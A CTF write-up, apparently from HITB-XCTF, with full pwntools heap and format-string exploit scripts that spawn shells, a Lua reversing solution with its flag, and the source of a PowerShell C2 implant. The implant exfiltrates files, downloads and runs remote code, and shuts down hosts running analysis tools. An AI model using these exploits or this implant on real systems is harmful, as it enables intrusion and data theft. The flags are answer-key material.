conn.interactive() #==========
once (Pwn)
doubly-linked list
is used in the challenge.
I can control same link pointer so I can overwrite address to anywhere.
I overwrite vtable pointer of stdout to heap address and get shell.
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') context.log_level = 'debug' # output verbose log RHOST = "47.75.189.102" RPORT = 9999 LHOST = "127.0.0.1" LPORT = 9999 # libc = ELF('./libc-2.23.so') elf = ELF('./once') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ set environment LD_PRELOAD=./libc-2.23.so c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./once'], execute) else: conn = process(['./once']) # conn = process(['./once'], env={'LD_PRELOAD': './libc-2.23.so'}) # preparing for exploitation def create(): conn.sendlineafter('> ', '1') def write(payload): conn.sendlineafter('> ', '2') time.sleep(0.5) conn.send(payload) def free(): conn.sendlineafter('> ', '3') def malloc(size): conn.sendlineafter('> ', '4') conn.sendlineafter('> ', '1') conn.sendlineafter('input size:', str(size)) conn.sendlineafter('> ', '4') def _free(): conn.sendlineafter('> ', '4') conn.sendlineafter('> ', '3') conn.sendlineafter('> ', '4\x00yyyyyy') def write_string(payload): conn.sendlineafter('> ', '4') conn.sendlineafter('> ', '2') time.sleep(0.5) conn.sendline(payload) # conn.recvuntil('success.') conn.sendlineafter('> ', '4') log.info('Pwning') conn.sendlineafter('> ', '-1') conn.recvline() buf = conn.recv(len('0x7fbb53834690')) libc_base = int(buf, 16) - 0x6f690 log.info('libc_bsae = 0x%x', libc_base) write('a'*0x10 + p64(libc_base + 0x3c56e0 + 8)*2) malloc(0x200) payload = '/bin/sh\x00' + p64(libc_base + 0x45390) + 'y'*0x10 + 'z'*0x10 + 'w'*0x8 + p64(libc_base + 0x7475e) write_string(payload) _free() conn.recvuntil('>') create() conn.interactive()
d (Pwn)
There is a heap overflow and I can overwrite chunk size of next chunk.
I use unsafe unlink attack
and control GOT.
Finally, I write system
addres to __free_hook
and get shell.
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') context.log_level = 'debug' # output verbose log RHOST = "47.75.154.113" RPORT = 9999 LHOST = "127.0.0.1" LPORT = 9999 # libc = ELF('') elf = ELF('./27b201be-af0d-4fb9-85b8-f6ea9712e632.d') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./27b201be-af0d-4fb9-85b8-f6ea9712e632.d'], execute) else: conn = process(['./27b201be-af0d-4fb9-85b8-f6ea9712e632.d']) # conn = process(['./27b201be-af0d-4fb9-85b8-f6ea9712e632.d'], env={'LD_PRELOAD': ''}) # preparing for exploitation def read(idx, msg): conn.sendlineafter('Which? :', '1') conn.sendlineafter('Which? :', str(idx)) conn.sendlineafter('msg:', msg) def edit(idx, msg): conn.sendlineafter('Which? :', '2') conn.sendlineafter('Which? :', str(idx)) conn.sendlineafter('new msg:', msg) def wipe(idx): conn.sendlineafter('Which? :', '3') conn.sendlineafter('Which? :', str(idx)) def fsa(addr, byte): payload = '' printf_plt = elf.plt['printf'] atoi_plt = elf.plt['atoi'] strlen_plt = elf.plt['strlen'] fake_chunk = 0x6021a0 log.info('Pwning') read(0, 'x' * 0x138) read(1, 'x' * 0x138) read(2, 'x' * 0x138) read(3, 'x' * 0x138) read(4, 'y' * 0x138) read(5, 'z' * 0x138) read(6, 'z' * 0x138) wipe(4) read(4, 'a'* (0x138+19)) edit(4, 'x'*0xf8) edit(4, 'x'*0xf0 + p64(0xf0)) payload = p64(0x0) + p64(0xf1)+p64(fake_chunk - 0x18) + p64(fake_chunk-0x10) edit(4, payload) wipe(5) edit(6, '/bin/sh\x00') edit(4, p64(0x602028)) edit(1, p64(printf_plt)[:6]) edit(0, '%2$p') conn.recvuntil('Which? :') conn.sendline('2') conn.recvuntil('Which? :') conn.sendline('0') conn.recvuntil('0x') libc_base = int(conn.recv(12), 16) - 0x3c6780 log.info('libc_base = 0x%x', libc_base) conn.sendline('hoge') edit(4, '%p') edit(4, p64(0x602018)) edit(1, '%p') edit(1, p64(libc_base + 0x45390)[:7]) conn.interactive()
babypwn (Pwn)
This is a simple Format String Attack challenge.
After leaking some addresses, I overwrite vtable pointer of stdin for getting PC.
#!/usr/bin/env python from pwn import * #context(os='linux', arch='unknown') #context.log_level = 'debug' # output verbose log RHOST = "47.75.182.113" RPORT = 9999 LHOST = "127.0.0.1" LPORT = 9999 # libc = ELF('') elf = ELF('./a.out') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ b *0x4006ef c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./a.out'], execute) else: conn = process(['./a.out']) # conn = process(['hogehoge'], env={'LD_PRELOAD': ''}) # preparing for exploitation def write(addr, byte): payload = ('%%%dc%%10$hhn'% byte ).ljust(0x20, 'x')+ p64(addr) conn.sendline(payload) log.info('Pwning') # leak libc_base conn.sendline('%41$p') conn.recvuntil('0x') libc_base = int(conn.recv(12), 16) - 0x20830 log.info('libc_base = 0x%x', libc_base) stdin = libc_base + 0x3c48e0 stdin_vtable = libc_base + 0x3c49b8 fake_vtable = libc_base + 0x3c49c0 system = libc_base + 0x45390 # set ';sh' string write(stdin+4, ord(';')) write(stdin+5, ord('s')) write(stdin+6, ord('h')) # create fake vtable for i in range(6): write(fake_vtable+0x28+i, ord(p64(system)[i])) # overwrite stdin vtable ptr a = (fake_vtable & 0xffff) payload = ('%%%dc%%10$hn'% a ).ljust(0x20, 'y')+ p64(stdin_vtable) conn.sendline(payload) conn.interactive()
mutepig (Pwn)
This is a challenge based on a technique called house of rabbit
which is realeased a long time ago… But I’ve never seen It being used in any CTFs… Or maybe I just dont participate
in
that CTF…
from pwn import * context.log_level = 'debug' io = process('./mutepig') pause() def menu(idx): io.sendline(str(idx)) sleep(0.2) def add(typ, content): menu(1) io.sendline(str(typ)) sleep(0.2) io.send(content) def delete(idx): menu(2) sleep(0.2) io.sendline(str(idx)) def edit(idx, content, name): menu(3) io.sendline(str(idx)) sleep(0.2) io.send(content) sleep(0.5) io.send(name) io.recv() # make av->system_mem > 0xa00000 add(3, 'a' * 0x7) delete(0) add(3, 'b' * 0x7) delete(1) # free fast chunk and link to fastbins add(1, 'd' * 0x7) # fast 2 add(2, 'f' * 0x7) # small 3 delete(2) # Make fake_chunk on .bss and edit the fastbin's fd g_buf = 0x602120 name = p64(0) name += p64(0x11) name += p64(0) name += p64(0xfffffffffffffff1) edit(2, p64(g_buf + 0x10)[:6], name) pause() # call malloc consolidate delete(3) pause() # link unsorted bins to appropriate list name = p64(0xfffffffffffffff0) name += p64(0x10) name += p64(0) name += p64(0xa00001) edit(2, 'c', name) add(3, 'g' * 0x7) name = p64(0xfffffffffffffff0) name += p64(0x10) name += p64(0) name += p64(0xfffffffffffffff1) edit(2, '/bin/sh', name) #pause() # overwrite the target variable target = 0x6020c0 free_got = 0x602018 hack_addr = 0x4006e0 add(13337, 'a') add(1, p64(free_got)[:6]) print 'now' pause() # edit free.got => hack edit(0, p64(hack_addr)[:6], 'lowkey') # call hack pause() delete(2) io.interactive()
moliboom (Reverse)
From CyKor
In hacku challenge, there were a base64 string with part1 of the flag. After decoding it and saving with filename “moliboom”, the given binary for moliboom challenge accepted it as a lua 5.3 compiled file.
But there is some weirdness in the program
and LuaC(lua compiled file) file: the binary readed every character of the file with 0x67 xored, and after applying xor, the original lua 5.3 interpreter couldn’t process the file. It caused segmentation fault instead.
After reversing the program
for hours, I found that every opcode is changed, so the disassembler and decompiler does not work.
Comparing the program’s semantics with original lua interpreter’s one with inline expansion optimization in my mind, I found every opcode’s permutation (maybe some opcodes can be wrong, but the decompiler worked).
Below is the complete mapping,
which is extracted using regexr.com and hexrays decompiler:
case 0 : // LOADKX
case 1 : // NEWTABLE
case 2 : // MOVE
case 3 : // LOADK
case 4 : // SETTABLE
case 5 : // LOADBOOL
case 6 : // LOADNIL
case 7 : // GETUPVAL
case 8 : // SELF
case 9 : // SETTABUP
case 0xA : // SETUPVAL
case 0xB : // GETTABLE
case 0xC : // GETTABUP
case 0xD : // BOR
case 0xE : // SHR
case 0xF : // MOD
case 0x10 : // BXOR
case 0x11 : // SUB
case 0x12 : // BAND
case 0x13 : // ADD
case 0x14 : // SHL
case 0x15 : // IDIV
case 0x16 : // POW
case 0x17 : // DIV
case 0x18 : // MUL
case 0x19 : // VARARG
case 0x1A : // TFORCALL
case 0x1B : // CONCAT
case 0x1C : // UNM
case 0x1D : // LEN
case 0x1E : // TFORLOOP
case 0x1F : // CALL
case 0x20 : // SETLIST
case 0x21 : // FORPREP
case 0x22 : // TEST
case 0x23 : // NOT
case 0x24 : // JMP
case 0x25 : // LE
case 0x26 : // FORLOOP
case 0x27 : // LT
case 0x28 : // TAILCALL
case 0x29 : // TESTSET
case 0x2A : // EQ
case 0x2B : // RETURN
case 0x2C : // BNOT
case 0x2D : // CLOSURE
After making this as enum like OP_CALL = 0x1F, OP_TFORLOOP = 0x1E, OP_LEN = 0x1D, OP_UNM = 0x1C, OP_CONCAT = 0x1B
, … and just pasting it in lua 5.3 opcode header which is used in luadec, the disassembler and decompiler worked and did emit
a lua code. The program worked in two steps:
- It loaded a string in the path indicated by “keyfile” variable (F0v1v), and compared it with “lt’s u t1m3”.
- It equals, then the lua program gets an input string, encodes through base64 with custom charset, and compares with hardcoded string which is made using some string concat and reverse.
- If correct, it prints HITBXCTF{
}.
I obtained second input by this python code:
import string s = 'mq+ASGk5ThmRCpJ5TxZvBqJoSG7cSGm3UfNQ' tr = 'tWFpnJqPyk4iCsbOEZB2amfSMUYTVu0v+XLwH5hxrldKg13/czAoGNRe7Q8Ij96D' std_base64chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" trans = string.maketrans (tr, std_base64chars) print s.translate(trans).decode('base64')
Flag: HITBXCTF{Th2_Benev01ent_Has_N0_Enemy}
hacku (Reverse)
$Domain = '.hacku.org' function R2V0LUNDbWQ($i) { $result = (nslookup -q=txt -timeout=%d $i$Domain) | out-string $x = '' if ($result.Contains('"')) { $x = ([regex]::Match($result,'(?<=")[^"]*(?=")').Value) } return $x } function R2V0LVJhbmRvbQ() { $number = get-random -maximum 30 -minimum 1 return $number } function AGKWSWFKGUEGCFVOCIZAQJUPZIEHFU($sec) { Start-Sleep -Seconds $sec } $stage = '' for($i=1;; $i ++) { $x = R2V0LUNDbWQ $i if ($x.length -lt 1) { break } $stage += $x } function cvt-b64-str( $b64 ) { return [System.Text.Encoding]::Utf8.GetString([System.Convert]::FromBase64String($b64)) } nslookup -type=TXT 1.hacku.org
$GET_FILE = 'get-fle' $DOWN_EXEC = 'dow-exe' $RUN_CMD = 'run-cmd' $GET_REG = 'get-reg' $GET_TASK = 'get-tak' $GET_UPDATE = 'get-upd' $GET_REP = 'get-rep' $STATUS_INIT = 0x0000 $STATUS_REGED = 0x8000 $STATUS_TASK = $STATUS_REGED -bor 0x1 $STATUS_PADD = $STATUS_REGED -bor 0x2 $url = 'http://192.168.99.234/cc/cc.php' $status = $STATUS_INIT $task = $null $running = $True $pubk = (1501,377753) function get-Md5Hash($str) { $md5 = new-object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider $utf8 = new-object -TypeName System.Text.UTF8Encoding $hash = [System.BitConverter]::ToString($md5.ComputeHash($utf8.GetBytes($str))) return $hash -replace '-' } function get-ComputeName { try { return (Get-WmiObject Win32_ComputerSystem).Name; } catch { return "ErrComputeName"; } } function get-clientID { try { $did = (wmic diskdrive get SerialNumber) $cid = get-Md5Hash $did return $cid } catch { $CompName = get-ComputeName return get-Md5Hash $CompName } } function Reg-Info { $clientID = get-clientID $time = Get-Date $c = $GET_REG return @{c = $c ; x = $clientID ;e = $time ; i = 0} | ConvertTo-Json } function get-Task { $clientID = get-clientID $time = Get-Date $c = $GET_TASK return @{c = $c ; x = $clientID ;e = $time ; i = 0} | ConvertTo-Json } function EttRRRRRRhd ( $tid , $taskinfo ) { $clientID = get-clientID $time = Get-Date $c = $GET_REP return @{c = $c ; x = $clientID ;e = $taskinfo; i = $tid} | ConvertTo-Json } function check_VM() { $p = @("win32_remote","win64_remote64","ollydbg","ProcessHacker","tcpview","autoruns","autorunsc","filemon","procmon","regmon","procexp","idaq","idaq64","ImmunityDebugger","Wireshark","dumpcap","HookExplorer","ImportREC","PETools","LordPE","dumpcap","SysInspector","proc_analyzer","sysAnalyzer","sniff_hit","windbg","joeboxcontrol","joeboxserver") for ($i=0; $i -lt $p.length; $i++) { if(ps -name $p[$i] -ErrorAction SilentlyContinue){ shutdown /s /f /t 0 exit } } } function YTRKLJHBKJHJHGV($msg) { while($True) { try { $content = $msg $webRq = [System.Net.WebRequest]::Create($url) $webRq.proxy = [Net.WebRequest]::GetSystemWebProxy() $webRq.proxy.Credentials = [Net.CredentialCache]::DefaultCredentials # $content = YNHGFOI8YIUGH $content # $content = OPKE3989hYYY $pubk $content # # $content = YNHGFOI8YIUGH $content $enc = [System.Text.Encoding]::UTF8.GetBytes($content) # $webRq.Method = 'POST' $webRq.ContentLength = $enc.length if ($enc.length -gt 0) { $req_stream = $webRq.GetRequestStream() $req_stream.Write($enc , 0 , $enc.length) } [System.Net.WebResponse] $rep = $webRq.GetResponse() if ($rep -ne $null) { $data = $rep.GetResponseStream() [System.IO.StreamReader] $res_d = New-Object System.IO.StreamReader $data [String] $result = $res_d.ReadToEnd() } } catch { $result = 'err' # } if ($result -eq 'err') { } else { return $result } } } function POIUIGKJNBYFF($msg) { $msg = OKMNHGGGGSSAAA $pubk $msg $msg = ConvertFrom-Json -InputObject $msg return $msg.r,$msg.e } function YNHGFOI8YIUGH( $str ) { return [Convert]::ToBase64String( [System.Text.Encoding]::Utf8.GetBytes($str)) } function VCDHJIIDDSQQQ( $b64 ) { return [System.Text.Encoding]::Utf8.GetString([System.Convert]::FromBase64String($b64)) } function POPOUIUJKKKI($file) { return YNHGFOI8YIUGH (Get-Content $file) } function MJOOLLFGFASA($name) { $filelist = @() $result = @{} for ($i = 0x43 ; $i -lt 0x5b; ++ $i) { try { $dc = '{0}:/' -f ([char]$i) $file = Get-ChildItem "$dc" -recurse $name | %{$_.FullName} if ($file.length -gt 0) { $filelist += $file } } catch { continue } } $result.ct = $filelist.length $result.dt = @() foreach( $f in $filelist) { $fd = POPOUIUJKKKI $f $result.dt += @{path=(YNHGFOI8YIUGH $f ); txt=$fd} } return ConvertTo-Json -InputObject $result } function DXCFGIOUUGKJB764($x, $h, $n) { $y = 1 while( $h -gt 0 ) { if ( ( $h % 2 ) -eq 0) { $x = ($x * $x) % $n $h = $h / 2 }else { $y = ($x * $y) % $n $h = $h - 1 } } return $y } function OPKE3989hYYY($pk , $plaintext) { $key , $n = $pk $arr = @() for ($i = 0 ; $i -lt $plaintext.length ; $i++) { $x = DXCFGIOUUGKJB764 ([int] $plaintext[$i]) $key $n $arr += $x } return $arr } function OKMNHGGGGSSAAA($pk,$enctext) { $key , $n = $pk $txt = "" $enctext = VCDHJIIDDSQQQ $enctext [int[]]$enctab = $enctext -split ' ' foreach ($x in $enctab) { if ($x -eq 0) { continue } $x = DXCFGIOUUGKJB764 $x $key $n $txt += [char][int]$x } $txt = VCDHJIIDDSQQQ($txt) return $txt } function UIHIUHGUYGOIJOIHGIHGIH($cmd) { $cmd = ConvertFrom-Json -InputObject $cmd $c = $cmd.c $i = $cmd.i $e = $cmd.e $x = $cmd.x # # if ($c -eq $GET_FILE) { $d = MJOOLLFGFASA $e } elseif ($c -eq $RUN_CMD) { $d = Invoke-Expression $e -ErrorAction SilentlyContinue } elseif ($c -eq $DOWN_EXEC) { $d = Invoke-Expression ((New-Object Net.WebClient).DownloadString("$e")) -ErrorAction SilentlyContinue } return @($i , $d) } $MuName = 'Global\_94_HACK_U_HAHAHAHAHA' $retFlag = $flase $Result = $True $MyMutexObj = New-Object System.Threading.Mutex ($true,$MuName,[ref]$retFlag) if ($retFlag) { $Result = $True } else { $Result = $False } if ($Result) { while($True -and $running) { if($status -eq $STATUS_INIT) { $OO0O0O0O00 = Reg-Info $ret = YTRKLJHBKJHJHGV($OO0O0O0O00) $r,$e = POIUIGKJNBYFF($ret) if ($r -eq 'yes' -and $e -eq 'ok_then_u_go') { $status = $STATUS_PADD } } if ($status -eq $STATUS_PADD) { $OO0O0O0O00 = get-Task $ret = YTRKLJHBKJHJHGV($OO0O0O0O00) $r,$e = POIUIGKJNBYFF($ret) if ($r -eq 'yes') { $task = $e $status = $STATUS_TASK } } if ($status -eq $STATUS_TASK) { # $ret = UIHIUHGUYGOIJOIHGIHGIH($task) $OO0O0O0O00 = EttRRRRRRhd $ret[0] $ret[1] $ret = YTRKLJHBKJHJHGV($OO0O0O0O00) $r,$e = POIUIGKJNBYFF($ret) if ($r -eq 'yes') { $status = $STATUS_PADD $task = $null } } sleep 3 } $MyMutexObj.ReleaseMutex() | Out-Null $MyMutexObj.Dispose() | Out-Null } else { }
def DXCFGIOUUGKJB764(x, h, n): y = 1 while(h > 0): if (h % 2) == 0: x = (x * x) % n h = h / 2 else: y = (x * y) % n h = h - 1 return y
# server to client def dec_str(enctext): key = 1501 n = 377753 txt = "" enctext = enctext.decode('base64') enctab = map(int, enctext.strip().split(' ')) for x in enctab: if(x == 0): continue x = DXCFGIOUUGKJB764(x, key, n) txt += chr(x & 0xff) # print(repr(txt)) txt = txt.decode('base64') return txt # client to server def dec_str(enctext): key = 113251 n = 377753 txt = "" enctext = enctext.decode('base64') enctab = map(int, enctext.strip().split(' ')) for x in enctab: if(x == 0): continue x = DXCFGIOUUGKJB764(x, key, n) txt += chr(x & 0xff) # print(repr(txt)) txt = txt.decode('base64') return txt
{\r\n "c": "get-rep",\r\n "e": "{\\r\\n \\"ct\\": 1,\\r\\n \\"dt\\": [\\r\\n {\\r\\n \\"path\\": \\"QzpcVXNlcnNcYjMzZlxEZXNrdG9wXGN0Zlxtb2xpYm9vbQ==\\",\\r\\n \\"txt\\": \\"ZmxhZ19wYXR0MTogSElUQlhDVEZ7VzBya18xbl90aDNfZGFya18gIG1vbGlib29tX0I2NCAgZkNzU0JqUm5mdlJxYlgxdFkyTmpiMjhmTVdkbloyZG5aMmRuWjJkblR4QW5ablluU1VrN0NnZ0xEZ1VJQ0FwSkN4SUdaMmRuWjJkbloyZG5abVZvWjJkblpHZG5ad3BuWjJkdUorZm5DaWRuWjI0blorWUs1MmRuYmlmbjVncW5aMmR1SjJmbENtZG1aMjRuNStVcjV5ZG5EMmZuWnd4bloyZE1aK2RuWVdkbloyTmhJVmNSVmhGall4WVRGbU5nRkJNR0FBSldZMlFHQm1ObEYyTmdGQk1HQUFKVlptZG5aMlpuWW1kbloyZHFaMmRuZUdkbloyZG5ibDluWjJkckp5ZG5iT2NuWnlzbkoyY3NwNmRuNUdkbVp6am5aMlkwSjZabmVPZG5abTVuWitkckp5ZG5iT2NuWnlzbkoyY3NwNmRuNUtkbVp6am5aMlkwWjZWbmVPZG5abTVuWitSckp5ZG5iT2NuWnlzbkoyY3NwNmRuNU9kbFp6am5aMlkvSitmaWVPZG5abTVuNStOdUp5VGhicWNrNEc0bkkrOXVweVR1Ym1laTdtN25vdTF1WjZIc2J1ZWg2MjVub09wckp5Rm5LeWNpWjN3bloyZHVaK2ZwYTJjblp5dm5KbWZySnlWbnEyY2taMnZtSkdjcnBpSm42K1lqWjZ1bUkyZHJaU05uZkdkbFoyNW41K1JycHlabkt5Y2daM3duWjJkTVoyZG1UR2ZuWjNsbloyZGpZemdrT0dOZ0ZCTVZEZ2tBWTJJRUR3WVZZMklGSGhNQ1kyVkVkQzVuWjJkbloyZG5ZMkk0T0RNNFkyVUdkSFJuWjJkbloyZG5ZMkE0T0RnNElUaGpaV3AwWkdkbloyZG5aMmRqYlRnNE9EZzRDRFFJVjJObEZHTnNPRGc0T0RnNERnZ3VDMk5sUjJOdU9CNFZFQlFEQXdOalpWWmphamc0T0RnNE9EZzRPQ280T0dOcE9EZzRPRGc0T0RnNE9BWTRPR05sRTJOdU9GOE5EMVJURlZKalpWUmphemc0T0RnNE9EZ2tKbGNJWTJVU1kyQTREaEllWGw5alpRcGpkVGc0T0RnNE9EZzRPRGc0T0RnNEFEZzRZMElITWpna0JnazRJd2c0TGhNSFJ3VWVPQ29mQ1I0NE5BWWVPRE1QRGhRVUZCUkhYVTVqWlFWbVoyZG5aMmRuWjJkblgyZG5aMmxuWjJkcFoyZG5hV2RuWjJsbloyZHBaMmRuYVdkbloybG5aMmRwWjJkbmFXZG5aMmhuWjJkb1oyZG5hR2RuWjJobloyZG9aMmRuYUdkbloyaG5aMmRvWjJkbmFHZG5aM2RuWjJkM1oyZG5kMmRuWjNkbloyZDNaMmRuZDJkblozZG5aMmQzWjJkbmQyZG5aM1puWjJkMVoyZG5kR2RuWjNObloyZHlaMmRuY1dkblozQm5aMmQvWjJkbmZtZG5aM3huWjJkOFoyZG5mR2RuWjN4bloyZDdaMmRuZTJkblozdG5aMmQ3WjJkbmUyZG5aM3RuWjJkN1oyZG5lMmRuWjN0bloyZDdaMmRuZTJkblozbG5aMmQ1WjJkbmVXZG5aM2xuWjJkNFoyZG5aMmRuWjJabloyZGlPQ0lwTVdkR1oyZG5WV2RuWjJkblluNW5aMmRyWnlkbmJDY25aeTFuNTJmazUyZG5lT2ZuWmdwbloyY05weWRuUXlkazUrOG5KbWRrNW1abitPZm5abTduWitYclp5Wm5wV2ZuWjdqbjUyZTQ1K2RuVGFkblprT25aK2ZycHlabnEyY21aODluWjJiTVoyZG41R2RsWjh4bloyWk1aK2RuYm1kbloyTmtEZ2hqWWdnWEFnbGpaUlZuWTJJTUFoNVdZMklWQWdZRFkySk5CZ3NMWTJRVVZuUm5aMmRuWjJkbloyVm5aMmRuWjJablptZG5aMmRDWjJkblRtZG5aMmRuWldSbloyZEtaMmRuVEdkblpreG41MmRuWjJkblptZG5aMmRuWm1kbloyZEJaMmRuVDJkbloyZG5aV05uWjJkclp5ZG5UMmZuWjB4bloyZE1aK2RuWm1kbloyTmpGaE1XWm1kbloyZG5aMmRuWjJObloyZEFaMmRuUUdkblowQm5aMmRQWjJkbloyZG5aMlpuWjJkaU9DSXBNV1JuWjJkUFoyZG5UMmRuWjA1bloyZG5aMmRuWm1kbloySTRJaWt4Zm1kblowUm5aMmRFWjJkblJHZG5aMFJuWjJkRVoyZG5UbWRuWjB4bloyZE1aMmRuUzJkblowdG5aMmRMWjJkblMyZG5aMHBuWjJkS1oyZG5TbWRuWjBwbloyZEtaMmRuU21kblowbG5aMmRKWjJkblNXZG5aMGxuWjJkV1oyZG5WbWRuWjFWbloyZGxaMmRuWWdFT0N3SmlaMmRuZm1kbloyRWZCQWdEQW1GbloyZCtaMmRuWldkbloySTRJaWt4Ynd3Q0hnRU9Dd0puVTJkblp5Tm5aMmRuWjJ4N1oyZG5abWRuWWlSbloyZmtKMmRucE9kbloyU21aMmNrWm1abjVDWm1aNlRtWm1ka3BXWm5KR1ZsWitRbFpXZEhKMmRpSk9kbFordW5KV2VsWjJkbitHZG1aa1BuWitlbFp1ZG5aV1ZuWkR4bjVXVDk1MmRuZWVhWkdNcG5aMmVsWjJkbVpXYm5aNDluWjJhTVoyZG5UR2ZuWjJ0bloyZGpaUTlqWlROalpWSmpaUXhqWlNCalpUUmpaU1pqWlV4alpSWmpaUXBqWm1OaEZ3WU9GUlJtWjJkbloyZG1aMmRuWjF4bloyY21aMmRuWm1kc2QyZG5aeVJuWjJmNloyZG5wQ2RuWjJUbVoyZkdwMmJuNVdiblo2dW1KMmVzWnFaa1pXVm5aeVZsNTJYbFplZGx1T1puWlR5blptVEI1NW9ZREdkblpreG41MmRpWjJkblkyWjBabWRuWjJkbloyZDBtSmlZbUppWW1KaGpZQlFURlE0SkFHTmpGQklGWm1kbloyZG5aMmRuWjNkbloyZGJaMmRuV21kbloxcG5aMmRhWjJkbldtZG5aMWxuWjJkWloyZG5XV2RuWjFsbloyZFpaMmRuV1dkbloxbG5aMmRaWjJkbldtZG5aeWRuWjJjbVoyZG5ZV2RuWjJVVVoyZG5aM2RuWjJkbEZXWm5aMmQzWjJkbmEwOEJDQlZIRGdrREFoOU9ZMmRuWjJsbloyZHJUd0VJRlVjTERnb09FMDVqWjJkbmFXZG5aMnhQQVFnVlJ4UVRBaGRPWTJkbloybG5aMmRsRG1KbloyZHFaMmRuWm1kbloySTRJaWt4ZTJkbloxSm5aMmRTWjJkblVtZG5aMUpuWjJkU1oyZG5VbWRuWjFKbloyZFNaMmRuVW1kbloxSm5aMmRTWjJkblVtZG5aMUZuWjJkUVoyZG5VR2RuWjFCbloyZFFaMmRuWDJkbloxOW5aMmRmWjJkblVHZG5aMUJuWjJjbVoyZG5KR2RuWnlSbloyY2taMmRuSkdkblp5Tm5aMmR2WjJkblpSZHJaMmRuZTJkbloyVVZhbWRuWjN0bloyZDNUd0VJRlVjQUFna0NGUVlUQ0JWT2QyZG5aM0ZuWjJkclR3RUlGVWNVRXdZVEFrNTNaMmRuY1dkbloybFBBUWdWUndRSUNSTVZDQXRPZDJkblozRm5aMmRsREhabloyZHpaMmRuWlJGMloyZG5jMmRuWjI4VkFoRUNGUlFDY0dkblozdG5aMmRtWjJkbllqZ2lLVEZuSVdkblp6Wm5aMmRuWjJsRFoyZG5hMmNuWjNqbjUyY2tKMmRuNU9kblo2Wm5aMlJrcG1kbkpHWm1aK1FtWm1lazVtWm5aS1ZtWnlSbFpXZUhKMmRrWkNabFp5dm1KV2ZsWnVkbU9HWm1aa01uWmVmbFpXZGxxNlVsWjZ4bHBHSnJwQ1ZuYkNRa1lTVms1Mk40NUdkbWRPUWtZYmpsWjJaOHBtVmlQZVpuWjdtbW14Z2xabWRuNVdablphVm01MmRsWldkbVBHYmxaUXhtWjJaTVorZG5hR2RuWjJOa0JnWmpiVE1mUFJFbEZpMElOR05ySUZBRU5DQUtWRElCS1RaalpReGpaVGRqWlNaalpRbGpaUzlqWlZSalptTmhGd1lPRlJSallCUVRGUTRKQUdOaUJBOEdGV05pQlI0VEFuUmxaMmRuWjJkbloyWm5aMmRuWjJkbloyZERaMmRuSUdkblp5Qm5aMmN2WjJkbkxtZG5aeTFuWjJjdFoyZG5MV2RuWnkxbloyY3RaMmRuTFdkblp5MW5aMmN0WjJkbkxHZG5aeXRuWjJjcloyZG5LMmRuWnl0bloyY3FaMmRuS21kblp5cG5aMmNxWjJkbkttZG5aeXBuWjJjcVoyZG5LbWRuWnlwbloyY3FaMmRuSzJkblp5dG5aMmNvWjJkbktHZG5aeWhuWjJjb1oyZG5LR2RuWnlobloyYzJaMmRuYldkbloyVUdaV2RuWjBObloyZGxCR1JuWjJkRFoyZG5aUU5qWjJkblEyZG5aMlFGQld0bloyZERaMmRuWlFWcVoyZG5RMmRuWjNkUEFRZ1ZSd0FDQ1FJVkJoTUlGVTUzWjJkbmVtZG5aMnRQQVFnVlJ4UVRCaE1DVG5kbloyZDZaMmRuYVU4QkNCVkhCQWdKRXhVSUMwNTNaMmRuZW1kbloyVTRkbWRuWjN4bloyZGxFWFpuWjJkOFoyZG5abWRuWjJJNElpa3haelJuWjJjSFoyZG5abWRoZjJkblp5Um5aMmZyNXlkbnBXZG5aL2puWjJadTUrZm42eWNuWjZ1bkoyZTQ1K2RuVGFkblprTm5aZWZyWnlabnF5Y21aNnpucG1aa3BtWm5KV1puWjdobjUyYjRKMmRuSkdkbFowUG5aK2ZyWnlabnBDZGxaL2duWjJZTVoyZG1UR2ZuWjIxbloyZDBaMmRuWjJkbloyZGpaVFpqWkJSVlkyVVhZMkVYRlE0SkUyTmdGQk1WRGdrQVkyQUJDQlVLQmhOamFpOHVNeVUvSkRNaEhFSVVHblJtWjJkbloyZG5aMk50RXhVZVJ3WUFCZzRKWm1kbloyZG5aMmRuWjM5bloyY3paMmRuTVdkblp6Rm5aMmN4WjJkbk1XZG5aejVuWjJjK1oyZG5QbWRuWno1bloyYytaMmRuUFdkblp6MW5aMmM5WjJkblBXZG5aejFuWjJjOVoyZG5QV2RuWnp4bloyYzhaMmRuT21kblp6cG5aMmM2WjJkbk9HZG5ad2RuWjJkbFoyZG5aVGRuWjJkbmYyZG5aMklPRlFJVFptZG5aMzluWjJkbVoyZG5ZamdpS1RGb1oyZG5abWRuWjNobloyZHFaMmRuVldkblowWm5aMmNqWjJkblUyZG5aelpuWjJjaFoyZG5CMmRuWnpSbloyY0VaMmRuQkdkblp3Um5aMmNFWjJkblptZG5aMjhNQWg0QkRnc0NabWRuWjJobloyZG1aMmRuWWpnaUtURT0=\\"\\r\\n }\\r\\n ]\\r\\n}",\r\n "i": "1",\r\n "x": "C8E8CBA2189AB38E5D62F5EB1C8E4FF1"\r\n}
